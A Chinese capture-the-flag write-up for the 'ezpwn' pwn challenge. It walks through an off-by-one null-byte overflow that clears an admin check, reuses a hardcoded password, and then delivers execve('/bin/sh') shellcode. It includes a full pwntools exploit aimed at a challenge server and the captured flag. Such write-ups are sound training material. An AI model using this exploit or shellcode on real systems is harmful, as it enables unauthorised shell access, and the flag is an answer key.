i春秋-ezpwn-wp
一、题目
平台地址:选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋
题目内容:
二、解题思路
老规矩查看文件属性
canary
和NX
都没开
使用ida64
打开分析
main
函数:
menu()
函数:
Login()
函数:
在Login()
函数中得到了admin
登录的密码SuperSecurePassword123!
,但是v5
变量被置为1
,不让我们进入选项1
登录"1. Login as Admin"
到目前的思路肯定就是想办法将v5
覆盖为0
,从而登录上admin
根据main
函数的逻辑来说,我们其实只有一个选择,也就是选项"2. Send Message to Admin"
而这里
__isoc99_scanf("%56s", v4);
读取我们的输入到v4
中,这里我们看栈中的布局可以发现v4
距离rbp
的距离是rbp-0x40
,v5
距离rbp
的距离是rbp-0x8
而选项2
的scanf
刚好可以让我们输入56
个字符,也就是0x40 - 0x8
个字符,写入56
个字符刚好到rbp-8
这个地址
也就是说当输入56
字节时,scanf
的%56s
会写入56
字节,并再加上一个null
字节作为结束,所以会溢出到v5
的第一个字节。在内存中,v4
数组之后是v5
,它们的地址是连续的。这样,56
字节的输入将覆盖v4
数组的56
字节,然后在下一个字节(v5
的第一个字节)写入0
。这样,v5
的值由原来的1
变成了0
。
所以整个流程就是:
-
发送选项
2
,输入56
字节的数据,覆盖v5
为0
。 -
发送选项
1
,输入正确的密码,以admin
身份登录。 -
发送选项
4
,触发Exec
函数,获取shell
。
这里exec
函数无法反编译,但是看汇编可以发现是让我们输入构造的shellcode
所以在我们发送4后还需要发送一串shellcode
这里可以利用pwntools
自带的shellcraft.sh()
来生成,也可以使用预先生成的shellcode
。
例如,标准的x64
shellcode
如下:
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
这段shellcode
对应执行execve("/bin/sh", 0, 0)
完整exp
:
from pwn import *
#p = process('./pwn')
p = remote('39.106.48.123',39263)
p.sendlineafter(b'> ', b'2')
payload = b'A' * 56
p.sendlineafter(b'> ', payload)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Password: ', b'SuperSecurePassword123!')
p.sendlineafter(b'> ', b'4')
#shellcode = asm(shellcraft.sh())
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
p.sendlineafter(b'Shellcode: ', shellcode)
p.interactive()
三、flag
flag{f151995f-b491-4cbd-ae7c-8404a6ba4fe6}